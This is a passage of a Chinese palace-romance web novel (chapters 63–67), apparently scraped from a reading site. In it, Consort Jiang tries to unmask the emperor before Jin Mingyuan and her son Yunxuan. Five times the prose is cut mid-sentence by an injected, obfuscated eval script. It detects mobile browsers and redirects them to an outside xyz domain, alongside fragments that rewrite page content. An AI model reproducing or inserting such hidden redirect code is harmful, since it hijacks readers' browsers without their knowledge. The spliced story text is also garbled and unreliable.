姜妃察觉到不对的时候,本也想过来安慰的,可是这会儿听到贺云瑄不依不饶的声音,她动作倒是止住了,脸上也隐约浮现出了些许的笑意。 好小子,方才还装出幅不知所措的模样,现在倒是连苦肉计都用上了,脑袋转的还真够快的。 想到这里姜妃很是识趣的打配合:“姐姐,不是妹妹说你,比起那些来无影去无踪,动不动就音讯全无的人,我们云瑄多么体贴,多么孝顺。 与其在那些不值得的人身上浪费精力,姐姐真不如多在意在意云瑄,妹妹听说小孩子最需要的就是关爱和陪伴,云瑄懂事,从来不闹人,还会做家务会做饭。 可即便如此,他也是个孩子,姐姐可不能忽略了他。” “我自然不会忽略云瑄,只是姜妹妹,你到底在说什么?你是不是误会什么了?我没有…” “哎呀,姐姐这些以后再说,你瞧瞧云瑄这么委屈,定是咱们平日里对他的陪伴不够,以后可得好好陪他。”姜妃直接打断了晋明鸢的话,她重重的叹了口气,话里话外都带着对贺云瑄的怜惜。 “你说的是,我之前就亏欠云瑄,确实该好好陪他,小瑄瑄,以后你就跟娘亲睡吧。”晋明鸢被姜妃说动了,她点了点头,想到自己曾对贺云瑄不闻不问五年,哪怕现在也算得上是与贺云瑄形影不离,但她也依旧觉得亏欠不安。 是呀,云瑄才只有五岁,寻常孩童这个年纪应该还窝在奶娘怀里哭闹吧,可她的云瑄不仅会做家务,还会做饭,她都不敢想象在自己看不见的地方,云瑄到底吃了多少苦? 贺云瑄的背脊都僵直了几分,全然没有想到晋明鸢会提出这样的要求。 他悄悄露出一双眼睛,冲着姜妃投来一个求救的目光。 开什么玩笑,他可是大孩子了,怎么能和娘亲一起睡? 但姜妃根本不能对小小少年的自尊心感同身受,她直接忽略掉了贺云瑄的目光点头赞同道:“我觉得可以,云瑄这孩子缺爱,姐姐现在既然决定要对他好,就应该把他之前缺失的母爱补回来才是,这马上就天凉了,我等会让人给姐姐送套新被子过来,姐姐以后可得多关心…” “姜妃,你在胡说八道什么?”姜妃笑意盈盈,话也是越说越起劲,没过多久,她的得意就僵在了脸上。 男人一身明黄色的龙袍,大步流星的走进来,他一双锐利的鹰眼正扫过姜妃的头顶,语气里带着明显警告的意思。 来的倒是挺快。 姜妃心里暗自嘀咕一句,不情不愿的躬身行礼:“妾身见过陛下,陛下万安。” 陛下? 听到姜妃对来人的称呼,再见对方身上那一身明黄色的龙袍,晋明鸢这才后知后觉的反应过来男人的身份。 她有些好奇的抬眼朝着男人脸上望去,看到的却是一方精致的面具。 那面具遮的实在是严实,连对方的眉毛都没有露出来分毫,只那一双眼睛瞧着就锐气逼人。 在好奇这位陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482408|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为何忽然来冷宫的同时,晋明鸢更是控制不住的思忖,这人到底长得有多丑,竟是连一点儿面儿都不敢露。 “晋娘娘,见到陛下还不行礼?”贺江灈背后的张公公忽然开口,叫回了晋明鸢的思绪。 说起陛下脸上的那个面具,还是上次他从冷宫离开之后连夜让人做的,前几日才刚赶出来。 绕是张公公也弄不明白陛下到底想玩哪样,明明都是他自己,偏见晋娘娘的时候,一会装暗卫,一会儿遮脸的。 但不管陛下到底打的什么主意,这次既然带了他过来,他就得做好自己的本分。 “臣妾参见陛下。”晋明鸢学着姜妃的的模样屈膝行了个礼,但脸上对于贺江灈的打量之意并没有散去。 贺云瑄也跟着行礼,同样是将好奇的目光落在贺江灈身上。 这个人为什么忽然会来? 除了那日冷宫出现蛇以外,他还是头一回儿见这人来冷宫。 而且上次有轿帘遮掩,看的并不真切,至于这回…贺云瑄总觉得这人的身形有些熟悉,就好像在哪里见过一般。 像是被什么东西牵引,贺云瑄忍不住仰头去看男人露在外面的一双眼睛,那眼形… “放肆,谁许你直视陛下的?”张公公注意到贺云瑄的视线,直接出声斥责。 晋明鸢连忙将贺云瑄拉到了自己背后:“你主子还没发话呢,你乱叫什么?再说了,看看怎么了,又不会少块肉,他是见不得人还是怎么?就那么怕人看吗?” “这…”张公公虽说上次见识过晋明鸢如何质问太后,但这还是头一回他自己正面对上晋明鸢的伶牙俐齿,他一时被堵得哑口无言,将求助的目光望向了贺江灈。 贺江灈面具背后的眉头也是紧紧皱起,不是这女人找人请他来的吗?怎么现下看来有些不像? 她对他的到来分明全然不知。 压着心里的疑惑,他直接开门见山:“你找朕有什么事?” 第63章 臣妾举报晋姐姐与人厮混 她…找他? 晋明鸢满脸错愕闪过,她茫然的指指自己,又抬头看看近在咫尺的男人:“你怕不是有什么毛病吧?我认识你吗我就找你,我看你想碰瓷吧?” “放肆,晋娘娘,怎么跟陛下说话的?”张公公又怒斥一句,看似强势,实际上额头已是冷汗连连。 “啧,原来不是碰瓷的,是来我这里找优越感的。 不是我说您,这位陛下,你这宫里三宫六院,粉黛无数,只要你一声令下,哪个不是小心翼翼的捧着你哄着你,你至于专程跑来找我不痛快吗?” 晋明鸢并不理会张公公,她抬脚缓缓地走向贺江灈,话音里渐渐地染了嘲弄,态度上更是看不出来一点的尊敬。 张公公见状,又想开口,贺江灈轻轻抬了抬手,止住了他的话,他冷眼扫向背后的姜妃:“是你让朕来的。” 不是问句,而是笃定句。 眼睛里的冷意更是像要渗出来一般。 是了,莫说晋明鸢失忆之前,他们二人已经如陌生人一般的关系,就单单论现在她失忆之后,根本就不知自己是谁,便更不可能主动传话要见自己。 这件事明摆着就是中间有人作梗。 他早就清楚,只是… 目光轻飘飘的在面前的人脸上扫过,他看到的是晋明鸢满脸的警惕。 贺江灈很快就收回了视线,他直接走到石桌前坐了下来:“姜妃,朕是不是对你太宽容了些,才让你如此不知所谓。” “哎呀,陛下说的哪里话,臣妾怎么听不懂呢?臣妾只是…”姜妃话说了一半,她声音突然顿了顿,手直接冲着贺江灈的脸探去,嘴上还惊呼道,“哎呀,陛下这才几日不见,您怎么还戴了面具?可是近来流连后宫太多伤了身子,这脸…” “姜妃!”贺江灈轻轻抬头,攥住姜妃的手腕就将她甩到了一边,声音冷的像是挂了冰碴子,他道,“你最好有事要说。” 姜妃揉了揉自己的手腕,她自言自语的咕哝道:“陛下何必这么大的火气呢?臣妾这次真的是好心的。 臣妾只是觉得陛下与晋姐姐好歹是伉俪情深,虽然中间可能是有些误会,但多年的情谊总不能是说没就没了的,恰好今日晋姐姐亲手包了些饺子,臣妾还以为您愿意与晋姐姐坐下好好聊聊,现在看来,倒像是臣妾好心做坏事了。” “你会有那么好心?”男人一句话脱口而出,低着头的姜妃却是不动声色的弯了弯嘴角。 她就知道,甭管这男人平日里如何装模作样,事实上从来都没有忘掉晋姐姐。 今日这顿饭就是她接下来的免死金牌,只要这份水饺摆在男人面前,他就得顾及几分。 姜妃说:“陛下,臣妾确实不希望晋姐姐与您和好,只是比起这个来,臣妾更不希望晋姐姐误入歧途,被不知道从哪里窜出来的野狗给骗了。 虽说这五年您对姐姐并不好,可是您与姐姐的关系毕竟是曾经征得晋老将军同意的,更是当初拜过天地的,比起别人来,臣妾当然希望您在晋姐姐身边。” “姜妃娘娘,您知不知道您在说什么?您这是要害死晋娘娘吗?”姜妃一句话,激的旁边的张公公双腿都有些发软,连忙出声提醒一句。 贺云瑄也是绷着一张脸,瞪着姜妃:“姜姨姨,你为什么要害娘亲?娘亲身边除了我,从没有别人。” 他小小的身子,又是习惯性的把晋明鸢挡到身后,在看姜妃的时候,眼睛里还带着明显的怨怼。 就算他年纪小,也知道娘亲是这个人的嫔妃,是绝对不能和外面的男人接触的,姜妃现在忽然点破,分明就是想要置娘亲于死地。 可是她为什么这么做? 明明她这一个月以来对娘亲的关系并不像作假,难道她一直都是在装,目的就是为了套取娘亲的秘密,告诉娘亲的状吗? 只想到这里,贺云瑄就控制不住的身体发冷,连肩膀都在不断的颤抖着。 一股浓烈的后悔感席卷着他,都是他不好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482409|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果他再警惕一些,再谨慎一些,就不该相信这个女人。 “陛下,臣妾可没有说谎,自从晋娘娘失忆以来,便不知从哪里出来个上不了台面的东西,闻着味儿就凑了上来,只是付出了些不值钱的吃食,就骗了晋姐姐的信任,这架势可不对。 放眼整个京城,谁不知道当年您为了求娶晋姐姐,可是不远千里只身赴北疆,抛下身份守在镇北将军府门口多日,才换了老将军同意。 像那种只会钻空子的野狗,哪里能比得上陛下您的这份深情?就算现在陛下与晋姐姐生了嫌隙,那也不能容忍那等人染指晋姐姐的,您说是不是?” 姜妃声音不紧不慢,野狗二字就像是从牙缝里咬出来的一样,吐字清晰却又带着无尽的嘲弄。 她忽地抬起眼来,目光短暂的与贺江灈对峙,就像是故意挑衅。 “野狗?”贺江灈手撑着太阳穴,语焉不详的重复一遍。 “是呀陛下,听说还是个暗卫呢,可真真是胆大包天,竟然连您的人都敢觊觎。 这等下三滥的玩意儿,就算是立过再多的功劳,也不能留下,毕竟关乎您的颜面,陛下觉得臣妾说得对吗?”姜妃说。 她跪在贺江灈的脚边,腰杆挺的笔直,仪态端庄到无可挑剔,但话又说的无与伦比的粗糙,就像是要将世间最恶毒的话,都在此刻骂出口一样。 眼睑略微的抬起,她看着面前的人,看着男子曲起的手肘上,根根清晰明显的青筋。 忍不住了吧,堂堂一个陛下被骂野狗,骂下三滥,他应该愤而起身,承认那是他自己的身份,然后再借此发难了吧? 想到这些姜妃脸上没有一点儿的恐慌,反而是带着隐秘的期待。 她迫不及待的想知道如果姐姐得知把她丢这里五年的陛下与她心心念念的男人是同一个人,还会不会继续念着那个男人。 “姜妃说的头头是道,倒是让朕怀疑你与那个男人什么关系了。 你认识他?” 第64章 爱妃很喜欢外面的男人? 男人低哑的声音响起,依旧让人听不出多少情绪来,就好像没有被这些影响一样。 姜妃眉眼间溢出的笑意渐渐僵在脸上,她有些错愕。 这男人那么沉得住气?自己那么骂他,他都没动静,难道是骂的还不够? “臣妾怎么会认识那么个下三滥的玩意儿?臣妾这几日也是听晋娘娘提起过陛下您还不知道吧,您把晋娘娘打入冷宫,倒是方便了那外面的东西给晋娘娘献殷勤。 您看您面前的这饺子,这面呀,可就是那人送来的。 晋娘娘毕竟曾是您的王妃,现在亦是身在后宫,陛下当真就这么大度,放任着外面的野狗勾搭您的女人? 就算您当真大度觉得与晋娘娘断了关系,以后互不相干,可这宫里旁人却不那么认为呀,若是她们都以为您大度,背着您在外面乱搞,陛下这颜面可还要不要了?”姜妃再接再厉,话说的一句比一句难听。 她端着副苦口婆心的姿态,但说话间话里的笑意已经有些绷不住了。 这狗皇帝将晋姐姐丢在冷宫受苦,他自己却是在外面混的风生水起,姜妃早就看不惯他了,如今逮到这么一个能光明正大骂他的机会,姜妃又怎么会放过呢? 根本没有等贺江灈说话,姜妃又迫不及待的继续道:“陛下,臣窃以为这件事绝对不能善了,必须得查,狠狠的查,将那惑乱宫闱的奸诈小人揪出来斩首示众,只有这样,才能表达您的态度,才能杀鸡儆猴。 还请陛下现在就将您的暗卫叫来,把那不要脸的狗东西揪出来。” “放肆!姜妃娘娘,您怎么说话呢?您可知道您口中的那人是谁?”比贺江灈先沉不住气的依旧是张公公,他手里的拂尘一甩,已经恨不得亲自上手去捂姜妃的嘴了。 姜妃面露惊讶:“是谁?难道赵公公知道那奸夫的身份?那还不赶紧让人把他拖来?” “放肆!此人…” “张康全,这里没你说话的份儿,滚出去。”贺江灈终于开口,直接制止了张公公接下来的话。 被他这么一唤,张公公这才后之后觉得反应过来是自己好心办错事,陛下分明没想暴露… “陛下为什么阻止张公公说下去?难道您不想知道那奸夫的身份呢?还是说您真的不在意有狂徒在您后宫里乱来? 既然这样的话,那陛下您可真真是大度呀,可真是古往今来第一仁君,臣妾真是对您刮目相看。”姜妃又开口恭维,心里却暗自盘算着自己的小九九。 她就不信话到这个份上,贺江灈还没反应,若是他这次依旧不承认他那个身份,那可就是等于承认了他同意他的嫔妃们给他戴帽子了。 呵,她倒要看看,他们的陛下这回怎么选? “陛下当真不在意嫔妃通奸?”姜妃方才话说的再夸张,晋明鸢一直都没有反应,直到此刻,她忽然失声叫出了声,就好像是忽然发现了什么失望的事一样。 方才姜妃说得那些,她确实感触不太多。 五年不见面,她和这位陛下之间的情谊早就斩断了,就算她曾与那个男人见面的事被姜妃捅出来又能如何? 这陛下未必就会在意。 即便他真的在意,自己已经身在冷宫了,他又能如何罚呢? 五年前所有人都说自己生了野种,可现在自己还活着,就说明这位陛下根本就不会要她性命。 她现在的处境已经最糟了,自然没什么可怕的。 至于那个男人的死活,她就更不在意了。 尤其是在察觉到那人可能与贵妃有关的时候,她恨不得那人死。 比起自己的事,她现在更关心的显然是陛下到底在不在意嫔妃通奸,如果真的不在意,那自己想要参贵妃一本的事是不是也行不通? “怎么?你真背着朕通奸了?”贺江灈在听姜妃说话的时候,一直都是神色恹恹的,就像是混不在意,直到晋明鸢一开口,他忽然抬眼扫了过来,目光也顺势落在了晋明鸢的脸上。 视线是探究的,又好像没有多少恼意。 “你那奸夫对你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482410|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很好,好的让你想在朕面前给他过个明路了?”贺江灈继续说。 撑着太阳穴的手放下来,他对着晋明鸢轻轻转动着手上的白玉扳指,那副镇定的模样就好像头上扣了帽子的人不是他。 也幸好张公公现在被赶出去了,否则此刻定是又要双腿发软。 而姜妃在看到这一幕的时候,几乎是要咬碎了后槽牙。 她还真是低估了这男人,这人比她想象的要不要脸的多。 难怪自己骂他,他毫无反应。 能把自己称作奸夫的人,又能指望他有多少的羞耻心? 呸,真是不要脸。 姜妃忍不住在心里暗自嘀咕。 “没有。”晋明鸢听不懂贺江灈背后的含义,他语调生硬的反驳一句。 “没有什么?对你不够好?那就是你很在意他,想要朕成全你们?”贺江灈继续说。 面具的遮掩让人看不到他的表情,但那一双深如寒潭的眸子却好像带着说不清道不明的情绪。 晋明鸢心底暗自没底。 这位陛下未免也太冷静了,提到这样敏感的话题都没见他有什么反应,难道他是真不在意自己头顶冒绿光吗? 不对,能有现在这一幕好像一切也有迹可循,毕竟自己之前可是让他丢了那样大的脸,他却留了自己性命,还不足以说明他确实不在意这些吗? “爱妃怎么不说话?难不成这次让朕猜准了,你在意你那奸夫,所以想要在朕这里给他过明路?”没有等到答案,贺江灈又重复了一遍。 他站起身来,抬脚朝着晋明鸢走来,高大的身形在晋明鸢面前打下大片的阴影,带着白玉扳指的手指伸出来,轻抬晋明鸢的下巴:“爱妃,告诉朕,事实是不是姜妃说的那般,你对那人情根深种,日思夜想?” 爱妃?什么爱妃? 晋明鸢抬头,目光正撞上男人那双深邃的眼睛,她忍不住打了个寒战,胳膊上都冒出了密密麻麻的鸡皮疙瘩。 “告诉朕,是与不是?” 第65章 姜家的手伸的未免太长 “不是,哪里有什么男人?这里从来都只有我与娘亲。 你不要听姜妃娘娘的,这冷宫里除去我与娘亲之外,就只有芙蕖和柳枝,你若有什么不相信的,也可以去问芙蕖柳枝。 她们都是看守冷宫的人,你总不能不相信她们吧。” 接上贺江灈话的是贺云瑄。 小孩板着一张脸,个子不高,气势却一点也不弱,说话也是条理清晰的。 短短的时间里,他已经强行冷静了下来。 那个人来的一向隐秘,连芙蕖和柳枝都没有见过他,在这样的情况下,那自然是谁有证人谁的话可信度就高了。 虽然贺云瑄这会儿不知道晋明鸢为什么主动问起通奸的事来,但眼下最重要的还是将这件事揭过去。 姜妃不住的对着贺云瑄使眼色。 连脸上都带了些许的急切。 她知道自己今日说的话不中听,就是为了不把贺云瑄和晋明鸢牵扯进来,所以她才没有提前告知贺云瑄。 本以为在这样的情况下,贺云瑄一个孩子肯定早就吓破了胆,更是不敢说话的,哪曾想这小孩竟然这么冷静,还能想到找证人为他们辩解。 这么一来… 姜妃拧着眉,一张脸都已经因为过多做表情而有些微的扭曲,可贺云瑄这会儿已然把她当做坏人,完全视而不见,甚至还又往晋明鸢前面挡了挡。 他说:“姜娘娘,您可知没有证据故意污蔑是什么罪?陛下您也看见了,她现在一言不发,分明就是诬陷娘亲被拆穿无话可说了。” 直到听到贺云瑄的这些话,贺江灈的目光才罕见的落在了他身上。 两双近乎一样的眼睛撞在一起,贺江灈瞳孔里闪过了几分复杂之色。 但很快他就冷眼扫向了姜妃:“你还有什么话想说?” “谁说臣妾没有证据了,陛下敢不敢将您的暗卫叫来,听说那奸人就是贺云瑄的生父,和贺云瑄生的像极了,更是有一双几乎一模一样的眼睛,只要臣妾见到臣妾必能认出来。”话都已经说到了这份上,姜妃干脆一不做二不休,继续不依不饶道。 她根本没有给贺江灈说话的机会,忽然上前一步,眼睛里有些许的错愕:“咦,陛下,之前臣妾没觉得,现在发现您这双眼分明也与云瑄生的一模一样。 现在仔细想想,您好像一直防着臣妾查那奸夫,总不能您自己与那奸夫…” “姜妃,你闹够了没有?上次的板子没有落在你身上,朕看你真是一点规矩也没有了,这后宫不是你胡言乱语,妄自攀咬的地方,从今日起,你自领大板,然后抄女戒百遍,中秋家宴之前交到朕手上。”贺江灈说。 “陛下,臣妾分明一心为您着想呀,若是那奸夫是您,臣妾挨罚便也认了,可若真是别人,陛下这般放任着不管,难道真要让旁人都觉得您同意嫔妃祸乱宫闱吗?”姜妃得了一顿训斥,并没有马上离开,还是固执的自说自话。 这回她更是直接把话挑明了,视线却又一次落在了贺云瑄的身上。 这小子心思深沉,又格外聪明,应该能听懂她的用意。 贺云瑄果然被姜妃的话吸引了注意力,他的目光再一次看向贺江灈,确切的说是盯着贺江灈面具背后那双露出来的眼睛。 即便看不到眉毛,但这双眼睛在贺云瑄眼里确实是格外的熟悉。 他的视线又一点点的下移,最后在男人的腰间定格,那里挂着一枚成色上佳的白玉佩,阳光洒落下来,在玉面上荡漾起一圈弧光。 贺云瑄不由的想到了娘亲刚失忆的那天,她带着他出冷宫的时候,在甬道上第一次遇到那个男人的场景。 那天阳光扫下来的时候,他好像也在那人腰间看到了一枚这样的玉佩,只是后来那人再来冷宫的时候,他就没见过了,他一直以为自己是眼花了。 难道… 这一切都是那人有意为之,他分明于眼前这个… “姜妃,胡闹也该有个限度,朕不知你从哪里得来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482411|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的这些好笑的结论,但眼下既然说到这里,朕倒要问问姜妃,你们姜家的手何时伸的这么长了,连朕的暗卫生得什么模样都这么清楚。 难不成在朕的暗卫之中,还有你姜家的奸细?看来朕现在是得召定国将军进宫来问问,你们姜家什么时候背着朕有了那么大的本事。”贺江灈说。 他面向姜妃,居高临下的视线扫过来,让姜妃那张素来镇定自若的脸,在这一刻渐渐的苍白几分。 她自己可以不管不顾挑衅陛下,可是她背后的姜家不能。 现在陛下将她的行为与姜家绑在一起,那她就应该掂量掂量了。 姜家也好,父亲也好,都不能因为她自己的行为蒙受猜忌。 啧,真够阴险的,堂堂一个帝王竟然为了遮掩身份做出这样的事来,下作。 姜妃在心底愤愤不平的骂了两句,面上却是恭敬的跪了下来:“陛下息怒,是臣妾失态,臣妾这就回去领罚。” “姜妃,你记得朕让你搬到幽兰馆来,看的是谁的面子,若你自己再掂量不清自己该做什么,以后再敢胡言乱语半个字,朕不介意让你滚去静华寺修身养性。”贺江灈说。 姜妃低着头,让人看不清表情,但是按在地上的手背却青筋明显。 她所言有什么问题吗?句句属实罢了,她只是想拆穿这人虚伪的面目,不想让晋姐姐一直蒙在鼓里而已。 他是皇帝,他可以为所欲为,可是晋姐姐不该是被蒙骗的傻子。 “还愣着做什么?不去领罚,难道要朕请你吗?”贺江灈又说。 “臣妾告退。”姜妃闷声应了一声,她起身的时候,目光又匆忙的在贺江灈的身上扫过,眼睛里尽是不甘之色。 以权压人,无耻至极。 这次没能在晋姐姐面前拆穿他的真面目真是可惜,不过… 今日自己说了这么多,贺云瑄那小子应该已经有点怀疑了吧? 等她找到机会,还是得和贺云瑄联合才行。 第66章 不可能是同一个人 姜妃离开之后,贺江灈却没有要走的意思,又在那石桌前坐了下来。 他一身明黄色的龙袍晃眼,冕冠上的流苏坠落下来,发出清脆的碰撞声,一下一下的就像是敲在人的心里一样,给人莫大的压力。 还是贺云瑄有些闷声生的解释:“我娘亲没有背叛你,这冷宫里除去我与她以外,也就只有姜妃偶尔过来,除此之外再无旁人。” 他小小的身子依旧是站在晋明鸢的面前,一副护犊子的姿态。 贺江灈略微抬眼,目光在他头顶掠过,只觉有些碍眼。 他没理会贺云瑄的话,冲着晋明鸢的话道:“爱妃还欠朕一个解释,你刚才的话什么意思?问朕在不在意嫔妃通奸,那不是你当真有这个想法?” “我娘亲没有,她就只是好奇而已。”贺云瑄说,他稍稍的踮了踮脚,能挡住晋明鸢的面积更大了一点。 他此刻更是忍不住在心底唏嘘,若是自己长得再高一点就好了,这样就可以将娘亲完全挡住。 面前这个人的视线又冷又凶,看起来就不怀好意,但不能让娘亲被这样一个人盯上。 “好奇?那爱妃好奇的东西还真是挺独特的,你说是不是呀?爱妃?”贺江灈说。 晋明鸢还没有从他上一句的爱妃里回过神来,这次又听到这个黏腻的称呼,他再一次不受控制的打了个机灵,却难得的回神,将注意力落在了贺江灈的身上。 男人姿态松散,视线玩味,让人看不出喜怒。 那个让自己关心的话题又一次被提起来,晋明鸢心里的好奇一点也没有被减少。 她说:“你拐弯抹角的说那么多做什么?也没见你回答我的问题,你到底在不在意?” 呵,倒是挺理直气壮的。 贺江灈手指敲击桌面的动作微顿,余光瞥了一眼贺云瑄:“爱妃觉得当着一个孩子的面,与朕论这些真的合适吗?” 言外之意,就是要晋明鸢支开贺云瑄。 贺云瑄心里一下子就警惕了起来:“你别误会我娘亲,我娘亲自失忆之后,行事一直都有点古怪,她并没有别的意思,只是因为没有记忆什么都不懂。 您可是高高在上的陛下,定然做不出那等不分青红皂白迁怒一个什么都不懂的女子的事来的,对不对?” 他故意的给贺江灈扣了一顶高帽子。 那小心思落在贺江灈眼里一览无余。 小小年纪,算计倒是不少,心思也多,不过倒算是孝顺,也勉强算是顺眼。 贺江灈道:“朕自然不会冤枉别人,而且朕还会满足她的好奇呢,朕饿了,你去把饭热一热。” 晋明鸢不把人支开,他干脆自己来,指挥起贺云瑄做事来,可谓是轻车熟路。 贺云瑄拧着眉,总觉得这人不怀好意。 而且他不是第一次来冷宫吗?怎么就那么笃定自己会做饭? 旁人第一次看到自己,只会把自己当孩童看待的,为什么他能这么理所当然的只会自己干活? 难道…真像姜妃说的那样,眼前这个陛下与那个讨厌的男人根本就是一个人? 贺云瑄沉浸在自己的思绪里,半天都没有反应,贺江灈又说:“愣着做什么?难道还要朕进厨房?” 他话里带了些许的嫌弃之意,那姿态更是高高在上,一下子就将贺云瑄心头的怀疑粉碎了大半。 自己大抵是想多了。 那个坏心眼的男人为了讨好娘亲,恨不得扎根在厨房里。 眼前这个一看就是食指不沾阳春水富养出来的,瞧那连褶皱都没有的衣袍,再看那金玉堆彻的冕冠与玉带,与其相信这人会进厨房,倒不如相信娘亲能做皇后。 只是… 贺云瑄还是觉得他坐在这院子里,就显得很是割裂,他有些僵硬的道:“您真的要在这里吃饭?我们随手自己做的东西,怕是不合您的胃口,不如您…” 这人意图不明,让他接触娘亲,贺云瑄总觉得心慌,他现在只想着赶紧把人弄走。 贺江灈不耐烦的道:“你刚才没听到姜妃说吗?朕是她以晋氏的名义请来吃饭的,你们现在赶朕走就是欺君之罪,一个男孩子啰啰嗦嗦像什么样子?还不赶紧去热菜?” “既是姜妃请您来的,您也该去她那里吃饭,与我娘亲有什么关系?”贺云瑄小声咕哝着,还是不情愿让晋明鸢与面前的人单独接触。 贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482412|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江灈理直气壮:“你小小年纪怎么这么狠心,没听到姜妃受罚吗?这会儿该歇着才对,这整座皇宫都是朕的,朕留在这里吃顿饭有何不可?” 他周身冷冽的气势在说话间溃散许多,面对贺云瑄的时候已经少了几分抗拒,反而带了些许逗弄的意思。 “还不快去?”见贺云瑄没有反应,他还不紧不慢的催促一句。 听他那理直气壮的语气,贺云瑄便感觉到他应该是把自己当做那些伺候他的宦官宫女了。 贺云瑄的手略微握紧,脸上的不满之色更甚,可是面对贺江灈,他却真说不出反驳的话来。 他说的对,整座皇宫都是他的,就连娘亲名义上也是他的嫔妃,他如果想要留下来的话,从某种意义上来说,他们应该欣喜相迎的。 可贺云瑄心里就是不舒服,他总觉得这人就是故意来抢他娘亲的。 贺云瑄把目光看向了晋明鸢,他有些委屈的唤:“娘亲…” “云瑄,我有话要问他,你就先去把饭热一热吧。”晋明鸢说。 她刚才也一直在思量,那种词汇总当着贺云瑄一个孩子的面说出来确实不好。 眼下陛下就在这里,除去今日以外,她也不知还有没有这么好的机会能挑破贵妃的事。 晋明鸢不想放过这个机会。 “好吧。”贺云瑄虽然还是不情愿,但对晋明鸢的话,他一直都是言听计从的,闷闷的应了一声,他便端了桌上的水饺去了厨房。 烟囱里很快就有炊烟冒了出来。 贺江灈冲着晋明鸢的方向招了招手:“过来一点。” 男人声音带着些许的哑。 他们现在距离本就不远,用脚步丈量的话,大约也就只有五步,晋明鸢看着男人伸出来的那只手,她仔细想了想,很快就明白过来。 这等不光彩的事,他应该是害怕被人听到,所以才… 这般想着,她一点儿也没避讳,大步到了男人面前,还没有来得及说话,瞳孔就蓦地睁大,男人的手直接攥住了她的手腕,好像轻飘飘的一捞,下一刻她就已经坐在了人膝盖上。 脑海都好像一瞬空白,晋明鸢错愕的与他视线相撞。 第67章 你不配诋毁贵妃 “你做什么?”晋明鸢慌乱出声,手抗拒的抵在男人的胸膛,她压着心里的凌乱,“我可不是你的那些嫔妃,我劝你赶紧把我放开,否则别怪我对你不客气。” “是吗?爱妃现在对朕这么抗拒,莫非真的如姜妃所说得那般,你与旁人…” “什么我?你们根本就弄错了,这事与我有什么关系?若真的论起来,我也是受害者才对,与那人有牵扯的分明是贵妃。” 没有等贺江灈的话说完,晋明鸢已经迫不及待的打断了他。 话几乎是脱口而出,等到声音落下的时候,她才自己后知后觉的反应过来,她还没有找到证据,这样说出来实在太冲动了。 “你说什么?”贺江灈的神色因为晋明鸢的话有了些许的变化,那只箍在晋明鸢腰间的时候也松了些许。 晋明鸢顺势站了起来,有些警惕的与他拉开了些许距离。 知道自己就算说了什么,这男人也未必会信,她沉默着,只想等拿到证据再说。 贺江灈却冷了嗓音:“你知不知道你在说什么?知不知道污蔑贵妃该当何罪?” 晋明鸢本来还想刻意忍耐。 可听面前的人提到贵妃时那样毫无理由的信任,她终究是没压抑住怒火:“污蔑? 我怎么就污蔑她了?你对你的贵妃那么信任,怕是还不知道,她早就背着你和别人搞在一起了吧? 甚至还为了陷害我,让她那奸夫诱我生下孩子,啧,还皇帝呢,你这皇帝当的也真够可悲的。 我劝你还是好好盯着你那贵妃,免得哪日又冒出来个来路不明的孩子,让你当爹。” 晋明鸢不管不顾,将自己的猜测一股脑全吐了出来,这才勉强松了一口气。 